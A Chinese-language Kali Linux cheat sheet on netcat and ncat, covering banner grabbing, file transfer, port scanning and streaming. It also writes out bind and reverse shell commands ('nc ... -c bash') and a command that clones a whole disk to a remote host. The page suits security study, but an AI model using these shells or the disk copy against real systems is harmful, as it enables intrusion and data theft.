【Kali linux】NC/NCAT
NC ---netcat / 网络工具中的瑞士军刀
侦听模式/传输模式
Telnet / 获取banner信息
传输文本信息
传输文件/目录
加密传输文件
远程控制/木马
加密所有流量
流媒体服务器
远程克隆硬盘
功能:
nc -h help
NC --- telnet / banner (作为客户端)
nc -nv 1.1.1.1 110 (sun……)
nc -nv 1.1.1.1 25 (SMTP邮件服务器)
nc -nv 1.1.1.1 80 (80端口)
NC --- 文本传输(聊天 / 电子取证)
A:nc -l -p 333(打开侦听端口333)[服务端]
B:nc -nv 1.1.1.1 4444 [客户端连接]
电子取证:ls -l | nc -nv 1.1.1.1 333 (此时只有A会返回信息)
nc -l -p 333 > ps.txt (侦听333端口,信息输入ps.txt中)
NC --- 传输文件/目录
传输文件
A:nc -lp 333 > 1.mp3 (接收端 > 输出)
B:nc -nv 1.1.1.1 333 <1.mp3 -q 1 (发送端 < 输入)(tips: -q 1 表示连接完成1秒后断开)
或者
A:nc -q 1 -lp 333 <a.mp3 (发送端)
B:nc -nv 1.1.1.1 333 > 2.mp4
传输目录
A:tar -cvf - music/ | nc -lp 333 -q 1
B:nc -nv 1.1.1.1 333 | tar -xvf -
加密传文件
A:nc -lp 333 | mcrypt -fbqd -a rijndael-256 -m ecb >1.mp3 (接收端 打开侦听端口333,等待别人的传输 , rijndael-256加密算法 fbqd解密过程)
B:mcrypt -flush -Fbq -a rijndael-256 -m ecb <a.mp4 | nc -nv 1.1.1.1 333 -q l
NC --- 流媒体服务
A: cat 1.mp3 | nc -lp 333
B: nc -nv 1.1.1.1 333 | mplayer -vo x11 -cache 3000 - (默认需要安装mplayer)
NC --- 端口扫描(此项不是重点)
nc -nvz 1.1.1.1 1-65535 (默认扫描为TCP端口)
nc -vnzu 1.1.1.1 1-1024 (参数加“u”,此时探测为udp端口)
NC --- 远程克隆硬盘
A: nc -lp 333 | dd of=/dev/sda
B: dd if=/dev/sda |nc -nv 1.1.1.1 333 -q 1
远程电子取证,可以将目标服务器硬盘远程复制,或者内存。
NC --- 远程控制
正向:(B控制A)
A: nc -lp 333 -c bash (服务端 映射端口333 为bash)
B: nc 1.1.1.1 333 (客户端 链接服务端333)
反向:(A控制B)
A: nc -lp 333 (服务端 映射333端口)
B: nc 1.1.1.1 333 -c bash (客户端 主动利用333端口进行bash)
注: Windows用户把bash改成cmd
NC ---NCAT
NC缺乏加密和身份认证的能力,ncat用来弥补nc的不加密和不验证身份的缺陷
Ncat包含于nmap工具包中
A: ncat -c bash --allow 192.168.1.100 -vnl 333 --ssl (服务器端)
B: ncat -nv 1.1.1.1 333 --ssl (客户端)
注:不同系统/平台的nc参数功能不尽相同(man nc / nc -h 等等查看帮助)